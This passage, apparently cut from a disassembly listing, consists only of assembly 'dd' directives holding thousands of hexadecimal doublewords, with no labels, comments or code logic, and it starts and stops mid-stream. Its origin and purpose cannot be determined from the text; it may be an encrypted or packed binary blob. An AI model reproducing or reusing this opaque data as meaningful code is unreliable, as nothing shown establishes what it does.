dd 30AE535Ch, 0E180ACD1h, 6E4E721h, 59CC0B30h, 9A05E508h dd 0F1D0A4EBh, 7C07D03h, 0B072D8BAh, 0D5C23120h, 0EB406732h dd 484B7738h, 8D27DD76h, 0C01CEB27h, 15B02BEh, 0BA2EEF7Eh dd 0E39A7526h, 7E6CD284h, 0CE475DFEh, 96F0891Fh, 0BAD7C274h dd 121583E0h, 232CE6CDh, 0AD08F144h, 8D4C3B4Fh, 2E920526h dd 6599BF9Bh, 0D9561E08h, 3147342Ah, 0C705229Ah, 0B41647Dh dd 0DCD2F412h, 9CE74E3Ch, 45B6C89Bh, 55919302h, 814741B1h dd 13A1CFEDh, 57707BC2h, 76011717h, 0E9FF057Ch, 2DD492CCh dd 5650CFD2h, 94017D5h, 9AFDEC5Fh, 7F505D42h, 7805A004h dd 0E9C1A043h, 0E838F9h, 0C142D2F7h, 0E68103EAh, 10160BCBh dd 0D7010118h, 25E679E9h, 438311EAh, 104E6269h, 328130B3h dd 0EC3F7B49h, 4CB621F8h, 0BEE344EAh, 0BB5401F2h, 0D79D8C63h dd 9CA3D89h, 6C5F5457h, 0F198376Ah, 0C6165230h, 7103AEC4h dd 155F561h, 82AC7EBh, 58800124h, 875D7D11h, 0AA8AB91Ch dd 0AC83B399h, 15434DCh, 3C4FCAB4h, 0E0E5EF16h, 0E17789E5h dd 32D2249h, 843AF581h, 0C3462860h, 72868334h, 1487282Eh dd 0C32D0438h, 8941D85Eh, 0F48CA003h, 7728C22h, 0D5D8D1C7h dd 7989B2BDh, 8D05DAA9h, 206F46Bh, 58F4D3E0h, 0C3153464h dd 59A210C1h, 4FBA1080h, 92C6054h, 0F51CB2BAh, 0B9CEE8C6h dd 364E9929h, 9059CA4Ch, 3BE22062h, 5548D175h, 386F2620h dd 2E05F796h, 47067C23h, 7B158BCh, 722151E3h, 0E0D0B269h dd 70512FAh, 5B3BB53Ch, 1E7CC001h, 0C8006ADh, 60632F68h dd 9AA2FB29h, 10C080Dh, 258AE914h, 51D8C0A9h, 12B3B13Dh dd 5D944F76h, 6ECB9A0Ch, 0C1E639D1h, 361072Ch, 202B7E97h dd 0EBFA0C01h, 0F38978CAh, 352C8031h, 0E237E9B1h, 3C625B07h dd 80D26627h, 8054FFCDh, 0B373C780h, 28163398h, 79015BF8h dd 550668A0h, 0B43E6973h, 88E40E7Dh, 0ECC1D4F6h, 7C32E979h dd 0C32918E5h, 283354E8h, 0D886806h, 392741A1h, 0E281EB0Ch dd 26320011h, 8F1D31DBh, 96C4A1A6h, 0E82354EEh, 96CBCD81h dd 923D9C75h, 0D20ED550h, 1AD8367Ah, 5B0023B1h, 1FFB6852h dd 1420EB75h, 7C5E7BE2h, 0FFE905Dh, 48FE1293h, 639ECA80h dd 42606DE0h, 380DED0Eh, 52E97267h, 34582A7Bh, 31025F7Bh dd 93D035F0h, 0BD0C01BCh, 0B45D3334h, 0ED83630Fh, 29AA68B1h dd 3C2C32A7h, 90E57290h, 0B7520E9h, 5C2CF7B2h, 1D2E13C1h dd 0D830B027h, 222D5C5Bh, 772DD1D2h, 0A7397Fh, 3C497DFFh dd 0A257C2Dh, 0C529DFDCh, 6BD26ADh, 0C4FA27Fh, 9141C801h dd 2EDC14Ch, 0E9C4FB3Ch, 3C85949Eh, 0AA20E9CCh, 7681610h dd 85043413h, 1530056Bh, 0C487F383h, 0B9002118h, 71865C4Dh dd 0DA5105F4h, 169676A6h, 5BA52h, 0D3C01570h, 50D760DEh dd 58DAE34Eh, 1137E8Dh, 29E104D0h, 0FF77B430h, 4D594179h dd 791852E9h, 8F02484Bh, 995C8768h, 8C1BDC8h, 85E82101h dd 7369E9F3h, 4E7B73CAh, 0C3004014h, 26C928FFh, 3D0273B8h dd 0E935BB71h, 5A3AC9CAh, 0BDFC32Ch, 24104985h, 62242B50h dd 4C1A8905h, 7FEF280Dh, 36EF3394h, 120D0631h, 0B25099E9h dd 8D4A789Eh, 7AD17E13h, 0EFC9FD31h, 42680884h, 0F43B9825h dd 39507D40h, 85CE888h, 1CFF5924h, 0CA6FBE0h, 0E282702h dd 5053C0F9h, 0E92C3DB0h, 2983B9A6h, 98815EF1h, 551C464Fh dd 0F481BD22h, 120C9462h, 6809FCBFh, 0AE31632Fh, 0E826FDD3h dd 6D13B3A6h, 0D4E501D4h, 92F71FECh, 975EE8ACh, 36901B22h dd 45893451h, 419E92Ah, 1F5C279Ah, 81032F79h, 0F033B8EDh dd 5C0FE915h, 0C882BDCCh, 0C1AE2B05h, 0FB3F62C5h, 22D2DC0Ch dd 6E016C1h, 852A1295h, 0C54B64D2h, 0F27CC8A2h, 94FE918h dd 485DEA0Fh, 68094A29h, 0F85B5599h, 0E911B28h, 0F4BAEB9Bh dd 5960085Ah, 6680032Bh, 8B5CC529h, 57DD90C7h, 64178968h dd 410823C5h, 1C77802Fh, 1058669Dh, 0DB04045Eh, 0D013C1F4h dd 701468BDh, 0B0A247A6h, 0D34A2E46h, 0F15D4ECAh, 0BE260C94h dd 1EE941C5h, 0DCD549D2h, 0A7944EC8h, 0C6804189h, 49EC4258h dd 0A47F5814h, 0A73097C2h, 0F890564Fh, 190E9569h, 1C44E7E9h dd 0A09B2C59h, 42AC3BDh, 88681AFCh, 0B9128C0Ch, 0CF0BE4FCh dd 65CD01ECh, 3AE320FBh, 0A14C160Bh, 1651910h, 456E8C2Dh dd 62C5F07h, 0CA399D02h, 56E5B35h, 0AF0EDC25h, 82897251h dd 5017700Ah, 13EC0A53h, 7B006B19h, 0B652C728h, 0C61EFEE6h dd 8087E6C0h, 3F99CEh, 5AF728EFh, 0CE304858h, 0D98951CBh dd 6123032h, 0E9279152h dd 7C08B84h, 0A36BA396h, 325D143h, 33CCED35h, 0DE016F11h dd 5949AFCDh, 6AC5E94Eh, 2D4FD668h, 301D183h, 5FFAA15Ah dd 31369C28h, 0D28B0D06h, 0AC4888CCh, 7701C040h, 0FD5230C3h dd 5556AD0Eh, 7E3BD38h, 0D5F75F57h, 0DAD40DF5h, 1A77E4C0h dd 4E1B4878h, 3E2C1B0h, 0CFEFE931h, 0B88AB252h, 89D115E5h dd 8232C072h, 56D34D82h, 7934A16Ch, 307424F3h, 8EA121C5h dd 8E7EB60Bh, 1C6447F0h, 5D043411h, 2746A216h, 0A8144558h dd 164F9915h, 682C8C5Fh, 87C44C7Ch, 6B992313h, 12C164C0h dd 1D9F74Eh, 710E4B62h, 14C87178h, 68D341ABh, 42A540A1h dd 0ED4E5A42h, 579FE200h, 0E9513DA4h, 19BA8E1h, 0C9BDB67Ch dd 8785F26Eh, 15F6805h, 9487348Dh, 306D227Bh, 85BCE81h dd 44A663Bh, 910382EEh, 0F0DEF1C3h, 2E2835E6h, 1E114909h dd 0BEFED8FFh, 31BE5EF5h, 998B6529h, 0C3D1E87Bh, 163E0448h dd 8003EFC1h, 3836E9B4h, 0FE89FD12h, 3D8BFEC5h, 430C8334h dd 5D565CD0h, 575EE502h, 96494E9h, 3DE7DC02h, 2802090Bh dd 21482471h, 0F6888F16h, 3922EE9h, 9EC9CB37h, 84DA7D3Eh dd 1C13E77Ch, 0A8394742h, 0F1E0B437h, 23F2091Ch, 0D36818B2h dd 741E783h, 0F72F9A60h, 0BBEF80DFh, 0D87E679Fh, 2D21C501h dd 0FD01377Dh, 804EC21h, 40B485B4h, 16F0BE05h, 4643DE1Eh dd 49C7C9D7h, 962CD000h, 0D8283A5Ah, 7003D4AEh, 47487868h dd 0CEB1C005h, 9011C980h, 1C76BEh, 0B551AFC2h, 0C0D5F6E2h dd 603E533h, 7FCDF105h, 0B743F5CDh, 3B78962Bh, 0D9A4D729h dd 495F9F5Ch, 72592FC4h, 4C0E7BB5h, 5B2B40C3h, 2A685D58h dd 901417ACh, 57452B15h, 39EE09B5h, 59EF6190h, 0DAB6B91Dh dd 2F1375BEh, 0A1C22E90h, 34276C2h, 0C4802CB4h, 2233F87h dd 9AF9E630h, 0F15C34EFh, 0AC097B90h, 840D1C75h, 83045001h dd 922C89EEh, 0E68D5ACCh, 2811C033h, 0EE82782Dh, 0FA8475h dd 855C282Dh, 5FB30511h, 1266309h, 0E57D00D0h, 252A9A1Ah dd 0F3400BE9h, 0FEC1505Dh, 0CAF4855h, 53856433h, 0E66BD3D8h dd 828046DAh, 2E5C89E2h, 4BB115FEh, 5FFB3106h, 9DD97708h dd 4D0F1F12h, 2A7D04B3h, 320BC5C9h, 3F584252h, 1B0CF1FEh dd 0AEC46073h, 7A3F005Ch, 0E9F8012Ah, 18953AAFh, 16E1F788h dd 357B1E68h, 961AB02Dh, 312EBD41h, 0B2D36605h, 20862008h dd 68D8015Ch, 8B2E3B31h, 0F6012B50h, 702D911Ch, 73196802h dd 0D6616EADh, 969A626Ch, 0AE6EA66h, 1E69479Eh, 150848FCh dd 3136ED5Eh, 0E9170D06h, 2C9D4FEAh, 0AF247DEDh, 536D26B4h dd 593509B3h, 551E4B79h, 62F48h, 0E380A2B3h, 50386637h dd 4E4DC8B4h, 0CDBE4E01h, 1C8AA02h, 0CD5E54F0h, 646CD683h dd 0D02F843Bh, 59CB31DBh, 62DD2926h, 55F23512h, 805BD985h dd 0E34468BDh, 24C81248h, 2080F314h, 5D77700Bh, 8DDD50F7h dd 0C03C07A2h, 0C2F6816Dh, 1D407D60h, 16B67E6Fh, 0C851428Bh dd 3D7852A7h, 0E8902CEBh, 151506Fh, 0AECF6D4Eh, 1E185A2Dh dd 0B9005157h, 33B11699h, 735CE181h, 0CD6B500Bh, 367518A2h dd 17F40C56h, 89789F01h, 0E7C159CFh, 41020970h, 0BC71D457h dd 8988829Fh, 9B882E2h, 73FE9019h, 660E2850h, 84ED087h dd 796C750h, 0F732883Fh, 39B7D2D2h, 7E596F80h, 294E15ADh dd 80B25C4h, 0E983B05Bh, 87DFA84Ch, 6CEAE4D5h, 0EB1109F7h dd 20F38100h, 5675B60Dh, 0ABB80E50h, 89A42B67h, 45B482C6h dd 92BB107Eh, 312953A7h, 1D2DE918h, 3AC97F91h, 0BD0E9881h dd 64C6E976h, 0CEC9B61Fh, 0C74E80F0h, 5805866h, 62E960EFh dd 4ED1584Ah, 0D73E634Ch, 29112725h, 7F83021Eh, 24F1C626h dd 29F05D54h, 69A68C75h, 0C503EB9Fh, 1327F60h, 82C3C2D3h dd 0EACAE908h, 1587C414h, 2C216468h, 818A533Ch, 9E30239h dd 0DD22F0AAh, 41593471h, 0D7022380h, 4BC7E93Ah, 6018D622h dd 0BC21445Fh, 0BEE95451h, 73A60125h, 0E293F3Eh, 1C2D40A5h dd 36123A02h, 8C10E801h, 0A6050308h, 2868C05Eh, 71072D1Ah dd 25DB9B5Dh, 0B987FA04h, 80C8C4Eh, 0C8B63C0Fh, 8495126h dd 142FBB27h, 7C56485Eh, 6745E501h, 7CCE890Fh, 4801CB95h dd 5C80E9F8h, 0CB814CE2h, 84224A31h, 4C2B040Dh, 168E3903h dd 5EF38988h, 5B5A5305h, 59C8D121h, 106D9C73h, 378197BDh dd 0EF7C21B2h, 6BB7B9E1h, 28E9CA05h, 3FB2E194h, 11D25926h dd 0BAB41014h, 4D14332Fh, 60086813h, 4A214DCCh, 13D573F0h dd 7A5E7F24h, 26293D50h, 4C1A4382h, 704F0F45h, 3F7ADE8Ch dd 29016207h, 0E9C15AD1h, 0A7FB2005h, 0F8F6643Fh, 0BAAA24FDh dd 0CFC49E01h, 59CA0116h, 0D019146Eh, 6CA25704h, 128F84DAh dd 0C2480BF7h, 7DB061h, 0F1E8305h, 5359489Ch, 42C1AE89h dd 120D22BFh, 0EC73A68h, 2E0DA3F3h, 98DB3C7h, 0F00104EBh dd 0D592F380h, 80A82C3h, 0C91E8BE9h, 0A97059BAh, 0EDEEE00Fh dd 917E1960h, 2DF8A687h, 6840196h, 96AF8F9Ch, 71743097h dd 7A1CEB31h, 0B151148h, 51385C68h, 320297FCh, 0EBA158C4h dd 632A7BE9h, 0FEAF50EAh, 0FE404B40h, 4267416Dh, 0A15B59C5h dd 9EA6BC9h, 79186806h, 6A25396Dh, 4BB6E498h, 2AD28B0Ch dd 0ED99925Ch, 5E330199h, 0E9D8303Bh, 0A095FCE7h, 62B2FED1h dd 0F8312721h, 0C6971FE5h, 0C801ECC1h, 286425DDh, 27C1B233h dd 30184009h, 0F3C05A3Ah, 0BC178FC5h, 96A8F65Ch, 5D5305B7h dd 591BA05Bh, 0D06921ECh, 0D159A99Bh, 2F06A1EDh, 3BE9C002h dd 5200EDF0h, 7AE56855h, 765D190Ah, 3A26FE81h, 62F30DCh dd 0CB5E7984h, 5975253h, 5FEB1BC1h, 0B56A7886h, 958F158h dd 40B4074Ch, 92AF42D6h, 0D69475A2h, 5168BE10h, 793E84A0h dd 5781305Ch, 6E17713Ch, 80ABEDEBh, 0B90E3766h, 0B2B017A6h dd 107D209h, 49602B0Eh, 5C3B4B24h, 4849ED0Ah, 0F9FE82D3h dd 7A70BDDh, 0F0007552h, 48F53112h, 47353F5Eh, 5A1422A1h dd 22C9DE5Eh, 577321Ch, 17E14531h, 88198CFFh, 665AF10Eh dd 8ACBA053h, 0F602244Ch, 0E908C55Ch, 0BEE5408Fh, 2E472874h dd 48B04E71h, 7EED125h, 19C051B6h, 4016E950h, 0B1EC4F4Dh dd 0FD797C67h, 799564D4h, 0F8DA13A7h, 0EE3DD94Ch, 7244A8Bh dd 0E76872B2h, 0EAE98AB5h, 30442773h, 0FFB27CF6h, 58E3281Eh dd 591CA50Ch, 985D5CEFh, 623D6910h, 925E01Eh, 46667402h dd 2DD3F703h, 0DBC6DF1Ah, 9A2B514Fh, 3F637925h, 9FB79DE9h dd 92165D41h, 2BB91E40h, 472626Eh, 0EB47692Dh, 323AC235h dd 68E120F6h, 327B63E1h, 9FEB873Bh, 0B19B904Eh, 27023A50h dd 3C0E5068h, 0B3D87EEEh, 2016E5C9h, 3B007F05h, 80F8DF0Dh dd 0C1394EE9h, 32FA897Eh, 58CB11h, 0FC1E64E3h, 5EF8C029h dd 497CA639h, 0F5CBDEECh, 54EB8201h, 7001C30h, 0D141662Eh dd 0BCDFE9E3h, 6A680101h, 3219C36Fh, 0E5E0D679h, 236C66F1h dd 0F4206089h, 5B39B505h, 889EDA83h, 0FFAFB19Dh, 0E1E8C204h dd 5D56C2EAh, 0E597C152h, 0F85341F0h, 83F09F5h, 13036228h dd 0BA7FDB7Dh, 41270698h, 2A8C466Fh, 2DBA03B7h, 5BE9B69Dh dd 70CECD5Bh, 864A5827h, 0BB0EE5C4h, 93C80FF5h, 81951E24h dd 45E2F81Ah, 63452697h, 151624B8h, 0E313F801h, 3EC22A88h dd 11640281h, 8E2BEC5Ah, 0E9C2B0DCh, 0EC6C4CF3h, 40E3505Dh dd 6FF03292h, 0E124CD4Fh, 193F0F8h, 522ED7Ch, 0CD6A94D1h dd 0E90840C4h, 1754424h dd 85E76552h, 0DC2AC968h, 5383FB99h, 0E245AC5Eh, 0E62C08FDh dd 53B3654Ah, 0C7BEE356h, 557CAFE9h, 326C0FEEh, 656909A8h dd 20B3B242h, 463B0C46h, 0BC680BBFh, 0A0736425h, 40FA89h dd 0E1810C23h, 469A57B1h, 3696E918h, 0C5265A33h, 994FA989h dd 5EE23413h, 43154912h, 0CF806885h, 48D425E3h, 0C52A256Ah dd 0B57B2BFh, 0A806862Ah, 18802001h, 0CC84601Fh, 2241735Bh dd 5EEC3CE6h, 161A7060h, 0A113C3h, 632C38FFh, 0C7130167h dd 454B6BE9h, 309A315Dh, 41188B22h, 0E38620B5h, 75CE7B8h dd 200309E0h, 0F6D3C6DEh, 30D60EEEh, 0C3695AF0h, 0B6A090F8h dd 1E68E987h, 9203E647h, 0D915D055h, 4B2462DBh, 4084B453h dd 0D889C329h, 0AAE95B0Dh, 0EFE5236Bh, 0B6E585E0h, 27016423h dd 0DC004DBDh, 7B1F2C59h, 13404AD8h, 0EAF132h, 0F663128Bh dd 48853750h, 33AA5818h, 625D8B0Ch, 2F87340Fh, 55165845h dd 40874975h, 432C1839h, 9229DD4Bh, 3C95A1BFh, 8D35B430h dd 0A12686B9h, 0E957C1EBh, 41A852h, 0E545BB05h, 76EC29B9h dd 0C51CFCB5h, 8D55F164h, 5D49139Fh, 4497EFF3h, 0D1BF836Dh dd 235098BAh, 56097B65h, 80659637h, 8A06A125h, 0D7212D1Fh dd 4F0ABD14h, 0E008E7C1h, 0AF7C8C01h, 0FD38D159h, 0ADBF4601h dd 84DF0152h, 33668BDh, 0AD9065FDh, 47764802h, 0AF624577h dd 207E34C1h, 0D0BC580h, 94D6C6FDh, 4BE91803h, 9DBABEB9h dd 3914757Ah, 49F9D689h, 0FC315FC8h, 0E2245AD5h, 9265AE9h dd 0EEC6B820h, 94530DCBh, 0D06ED4Eh, 0B9A251B1h, 9EDD320h dd 14DE6851h, 4F0F2666h, 575B413h, 0B9E858C1h, 61690916h dd 2BB6730Eh, 586A6061h, 52729393h, 0C962A29Ah, 3036805Ah dd 0B06AB767h, 310372EFh, 0DD3373EEh, 0B524205Bh, 32B70192h dd 0AE5F02BEh, 55C809EFh, 5F67F921h, 80F20A4Eh, 0E381002Eh dd 34140F83h, 48D4B57h, 0B8FBF403h, 50076FCh, 3A7C51A0h dd 2D51C801h, 4B4A6607h, 5AB5E288h, 4711DC5Eh, 96A83AAh dd 16315640h, 0F77A7701h, 350540D0h, 0E0E211A7h, 0AB69FB51h dd 0E75B04E9h, 0B2E6491Dh, 0EC6EBB54h, 0BE5F10C9h, 6216BD6Eh dd 0CC0621BDh, 77FCD252h, 233A8A04h, 41D690C3h, 8D02081Ch dd 38B8F24Ch, 0E24D02C2h, 0C45C8E94h, 0E9F120E4h, 95890994h dd 35BA393h, 0C8310E4Eh, 86C0ADD4h, 5B711105h, 4A4C8801h dd 0F201E441h, 282F1A78h, 284A09E1h, 661D66CCh, 775A1B3Ch dd 26522D07h, 0CDF40CEAh, 662C449Dh, 39815025h, 40791744h dd 0F912D384h, 3F326664h, 0C3B0A9B9h, 0CB0652A1h, 7E3C163h dd 5503004Ah, 0F32175ECh, 0B29A54E9h, 74812D00h, 71354319h dd 7BAE285Bh, 257809FAh, 0F8039FBh, 9CC46F5Ah, 0E9E80104h dd 9CE6237Ah, 0D306C94h, 6F33325Bh, 0F4C1E2A0h, 22231B24h dd 0E950783Bh, 14975808h, 404C982Bh, 9C955C41h, 0B85CF961h dd 0B68DBA73h, 1AA81C6Ch, 0F970AAE7h, 5316939Bh, 0B1F38183h dd 82053DD8h, 0F85618FCh, 2E010892h, 0F264F23h, 9E10C97h dd 648A1EA5h, 0B4B417F6h, 862E1989h, 0E20EB878h, 280A01A7h dd 0DE70F287h, 9383A872h, 47DC2C20h, 67DD007Eh, 30E93AB0h dd 3ECC0E5Ah, 0CB3E9C55h, 5D166065h, 166B22B1h, 5BB5CA5Eh dd 63E9C281h, 0A345E374h, 922341FBh, 2F895FE1h, 0A0325DEAh dd 5C17F558h, 3A443CD3h, 2501B107h, 60FC46D8h, 4840BEABh dd 24129A59h, 215376Bh, 0E856ACCBh, 0E2E7DB78h, 17FCDA60h dd 68288E04h, 868C4DB3h, 2CC67288h, 58A75A33h, 3F6512E9h dd 0DBFCEA2Dh, 5BFC01A2h, 0B30BC5A9h, 0ADC1736Fh, 0BFFA1B9Ah dd 0FC00FD41h, 0CD31C6h, 89C9811Ah, 41333C3Ah, 0EAF2C151h dd 393DE1C0h, 0A1204A60h, 9073714Eh, 922D6C58h, 0AC09C138h dd 7AD92Eh, 55297BCAh, 0CE013412h, 59080F86h, 95EF125h dd 18AA929Dh, 0C2EC2FEFh, 6B5CC1FCh, 7DA88070h, 802937D7h dd 119F565Ah, 2135AF2Ch, 9493400h, 594C3226h, 0FAA6DE62h dd 2F9F5954h, 0F661A62Ah, 0B2CAECFDh, 58C0FE39h, 1D920B02h dd 0AAE8ED9Fh, 254A1E68h, 0B77BC8h, 30F6B650h, 9DE95BFEh dd 15732C5Ah, 0CC0C4F83h, 8F34E9D8h, 94E86CF8h, 0A9CF2985h dd 95215B9Bh, 0D98F49ABh, 0C3895FFBh, 0BCF245EBh, 0D7901CFAh dd 0D101B492h, 0FC23BEAh, 9D286384h, 2F166824h, 3BE9F198h dd 0F3A95C60h, 4CA00209h, 0EC068C39h, 1855DE19h, 0C4C300Bh dd 0C7909A5Eh, 93423B40h, 0B9D04413h, 242A1BEAh, 7BA688h dd 28DB335Dh, 0E97BD329h, 0E3922D94h, 4EA93E01h, 0F26049B4h dd 182B9004h, 8E583722h, 0DAFE7AC9h, 18564B5Dh, 0D8773121h dd 0D0280B5Bh, 0C568172Ch, 0C64B9EE9h, 0B5684720h, 4B673E7Ah dd 20E8D493h, 46105250h, 15A81467h, 0F61A4102h, 0B008A0ECh dd 48A2B701h, 757CC783h, 15D06841h, 0CAD5CA7Ch, 0B191E916h dd 40034BD3h, 8B9775D6h, 0F4506435h, 0BE0F407Bh, 3C20960Fh dd 0E6424B4Eh, 59D6DF53h, 735B260Ah, 11A0105Ah, 465E5D03h dd 0EE93F531h, 0EF870807h, 0A73AC14Fh, 7F45F71Ch, 0DA0172A6h dd 0E7913B9h, 0CD042C21h, 56E40812h, 13E39A05h, 0CC6B1168h dd 0ED64F3EBh, 0D2BD181Bh, 0A666E1Ah, 1622BFEh, 59B2414Ch dd 98386B25h, 0E9B0A0A5h, 0D8E20h, 35D8F75Eh, 73056F64h dd 6B62DCE4h, 7C77E992h, 51E082E4h, 0F5828368h, 0D5D45956h dd 0D5E18100h, 0A169643Ah, 22E42B2h, 5BDA3143h, 4F82F081h dd 1EF2C714h, 0FB87D568h, 8D7F732h, 81CA8083h, 93512E3h dd 0CEE92144h, 0BB52DD50h, 0D8891FD4h, 0E9AC1712h, 0E914785Ah dd 292EF82Ch, 0F1239269h, 0B6549699h, 71E91356h, 8EB34485h dd 4B09681Ah, 0E02517E3h, 0F76CC0D1h, 4D2DEh, 27E5DF7Ah dd 0F02789FAh, 7E9F055Eh, 4A01D753h, 59C52DDCh, 80FB5020h dd 1AB0F652h, 805A0101h, 0B2CC0EEh, 0B91BDA44h, 0AD90A9F7h dd 56A645BDh, 3BB817Fh, 710A8E22h, 0A8A81469h, 0C39A35D4h dd 4FECE001h, 0C823219h, 0CF969C14h, 2680C680h, 295E2BD1h dd 64085610h, 87D3433Eh, 0F4A4BAFBh, 535C0CA6h, 0BCAACC7Ch dd 8393DD56h, 69D83AC4h, 0E77CF8FAh, 0F9C38592h, 495B7BAAh dd 120B1A13h, 164F0059h, 0EC63421Ah, 9D3F0BF6h, 5BF835B9h dd 955C48D4h, 4FCE1289h, 0FA17EA8h, 2C212BAFh, 0A2A5ACFBh dd 0F9499079h, 38342691h, 66D1C8DFh, 0F654AF9Dh, 7567BBA1h dd 8BF0B975h, 93E06AE9h, 5BF85F29h, 0CAFE683Ah, 0EED93832h dd 9621F4FEh, 25D8CB6Ah, 0C56E14B5h, 34C330D5h, 2E7DA14Dh dd 0B5E9CF30h, 62CEB469h, 0B68D1DEh, 0DA401CCh, 27E21B22h dd 344E64D4h, 996255h, 0CE448EC7h, 0C629771Eh, 82085139h dd 745CFE1Ch, 4A6DE426h, 1969128Fh, 6EA31385h, 0D45C3609h dd 9E68500Eh, 99BB3F62h, 5C780970h, 570A0E29h, 25EF0808h dd 0AF7ABA60h, 33C2819Ch, 9192744h, 920A4AE6h, 0FC4ED02Eh dd 9760111h, 566118CFh, 49C12887h, 3BB02EECh, 0CC39D327h dd 47A00DDh, 0BA522EF6h, 0B673726Ch, 7612BD00h, 0D5314240h dd 882EE75Ah, 0F0415931h, 85ED802Eh, 57803E40h, 0F68AD268h dd 5FBA1877h, 1E0AED9Dh, 0D709172Fh, 1C24982h, 7309280Fh dd 0C9B26360h, 0A4DA283Ch, 5A96F34Ch, 9F7833D8h, 22EC1733h dd 8A2D59DAh, 0A69ECFE9h, 5BBD01E9h, 300FF427h, 61728A80h dd 0A533F498h, 0BAF93F46h, 0B61075DFh, 0B53D09E6h, 494B9302h dd 0C25F4E6h, 2AB21C38h dd 139DBF80h, 41DF243h, 6D53B21h, 543B6C31h, 40C08B2Ch dd 0F07A284Dh, 0B7B597Eh, 1EBCC720h, 1645EDD1h, 0BEEF8031h dd 0A500566Bh, 0A2F9BB1Bh, 17299443h, 4315EF3h, 0AAD82173h dd 485B9233h, 0C52EDD9Fh, 0CD898EDBh, 2023EA4Dh, 28916F1Eh dd 204AA9A8h, 70B6D877h, 6F89E580h, 0C2F11B68h, 30428F85h dd 9D61BB60h, 6ED298C3h, 0D10E38AAh, 0E0A033EDh, 1DF62305h dd 0C101DC17h, 6CC9A1E2h, 71B52C41h, 0C03D4003h, 800408E5h dd 0B753BDEDh, 35C21984h, 7276C8h, 3F4172BAh, 0F2048122h dd 3BE03040h, 12F101AAh, 2C681562h, 13D68EBBh, 88E137ACh dd 14CB2EEFh, 9D4B774Ch, 7A232E7Bh, 55E95C3Ah, 0E90283A2h dd 70D5012h, 7E49D6B9h, 2C50A206h, 7742BE9Ah, 376AB6C2h dd 10692FFCh, 0A63E8027h, 0B95454BBh, 0B54830E9h, 0C82FD95Dh dd 49B76350h, 2F18102h, 0D2234574h, 0E56C4D88h, 0F587663Fh dd 62594FFEh, 5F41E831h, 1DF10460h, 0B862343Eh, 13EFB233h dd 6B5FE9F9h, 83C5B915h, 36335BDEh, 0D0631C8h, 0BD9EE92Eh dd 805FB281h, 0E2CCB7EAh, 0A968128Ah, 0B973CC13h, 88E1E92Eh dd 12B72994h, 0CC00425Ah, 51C249AFh, 0A058E609h, 2D7DEBFAh dd 6C8BD1FEh, 6FD274E2h, 6E4CD225h, 2096B082h, 5072B6Ah dd 1F3709B6h, 0FE610AA2h, 568A6CF0h, 0A72FCD95h, 0AC029EA9h dd 10810828h, 0CA93E02Ch, 2F499661h, 2D5E1ACEh, 81AA35E3h dd 3103B02Ch, 42B4338h, 12F5C0B7h, 0ABB31E06h, 0E8832D0Ch dd 0B91E2788h, 0F40E1B0h, 1B00E625h, 22AF6851h, 0C0591A63h dd 0CA42D11Ah, 0D9623144h, 0C183EB86h, 163C2F75h, 0F08C328h dd 4E3C159h, 27F5CE5Ch, 342078CCh, 0D71FFF13h, 0ECB874C4h dd 9021B4F7h, 4A4BBA4Fh, 0CB314324h, 0F9CBFE1Eh, 2E2C2FF2h dd 5453E5E5h, 824A96FCh, 44465D95h, 0A2AB0F2Fh, 0CA883BEh dd 0C0068AB6h, 0DF29F6C6h, 80F73A86h, 0C17F0475h, 825602EFh dd 7C09B87Ah, 939823Ch, 8480043Bh, 311D1577h, 4F402166h dd 102C3820h, 0B13298FAh, 85C617C4h, 0E9057CACh, 75DEB459h dd 0F8A7306Bh, 5F6BB83Dh, 0C135Eh, 3834BCB2h, 0E2F4421Bh dd 16B0748h, 6D9D5B13h, 403E71E9h, 0CC14C5ACh, 0E7B0E847h dd 96C45D4Bh, 584831EFh, 4EBF7651h, 80A53829h, 0D7CF2379h dd 288F8550h, 7806C4D5h, 4D345D5Fh, 44049812h, 0FD7E2901h dd 78B95100h, 0F77F9939h, 0C18103D1h, 3CD66B7h, 0F2AF0C3Bh dd 8FBA5760h, 2E38806Dh, 9D5D54E9h, 81E4935Bh, 38E1C13Bh dd 0BACC04B9h, 0C3ECF83Bh, 0AD385725h, 0BE80E6B6h, 0D6320741h dd 0C7F52923h, 0AF35DDBh, 48CB136Dh, 0A892DEA8h, 2AD192B4h dd 5B00B033h, 595BCD29h, 0EE211DCBh, 122CA5BFh, 24F9A8Bh dd 59A73728h, 5266A7A3h, 450C7E49h, 0E024A726h, 0F1BD4Eh dd 0F7545108h, 0CD3145DDh, 8DCE9E4h, 851035CAh, 515EF289h dd 0E229455Ch, 626C2582h, 2081CEA5h, 660F255Dh, 0F6B5515Bh dd 8002A701h, 0F5CC2DC5h, 0D922B786h, 0C9D408EDh, 0E0B65262h dd 0BD0FD38Ah, 22686198h, 891D305Dh, 977298D6h, 0D35E12D8h dd 7358B031h, 0F0251C9Ch, 7749C47h, 60791958h, 0BC61F0EAh dd 0DA68557Fh, 1C34081Ch, 875B1402h, 580ADC14h, 0AC80A67Ch dd 0C2D84C30h, 846AF224h, 0B2735A68h, 52247853h, 0E9C29118h dd 49AAD89Ah, 0CEF4ED58h, 0FB4B2C64h, 2E2A2D80h, 9010C45h dd 47FB68F8h, 0B48356D9h, 37054D14h, 605B589Ah, 4CD671F5h dd 0FED9F724h, 2B3FCE00h, 13F4351Ah, 0ECDA4D9Dh, 0C4E90B32h dd 0A446D3ECh, 5DA90221h, 20600314h, 0C2608305h, 328DEA24h dd 68271218h, 0C0E6ACD6h, 738290B8h, 9B29593Bh, 6FA1C62Dh dd 2F475CE9h, 4C782661h, 4BDE4578h, 0EEE64B7Fh, 0F125F192h dd 0E41A2961h, 7A62579h, 818B54F3h, 0E99268EEh, 0AE67B261h dd 5FFB04F8h, 9965A368h, 0A04AEA2Fh, 0FA90D0C3h, 30E4595Bh dd 2701D048h, 0C8F0591Ah, 66600FACh, 91051000h, 0F000742h dd 8F25BC35h, 9F72D59h, 40536D4Ah, 0BA805851h, 25787161h dd 33609531h, 0F1BCF360h, 2217E38Eh, 85DE894Ch, 7F014593h dd 341C5FEBh, 802DBA20h, 0CCEDCC80h, 0C1EC3AECh, 3F069167h dd 0DEE9E100h, 0E0F7D669h, 75178836h, 92080EDAh, 0CB31090Ch dd 535F3566h, 195C4001h, 0BA006FE5h, 0B3057A63h, 172BE922h dd 7C515FD9h, 35293E6Ch, 0BF457496h, 2A25D30Bh, 0DB25FD59h dd 0D4A22FB7h, 0B6A88h, 56FAA65Bh, 0EB893E8Dh, 1B0D4898h dd 0C032B3F2h, 86D14883h, 9F37369Eh, 574A55B6h, 8309278Ah dd 0B77C02C7h, 4A90E962h, 88360F7h, 18E10F81h, 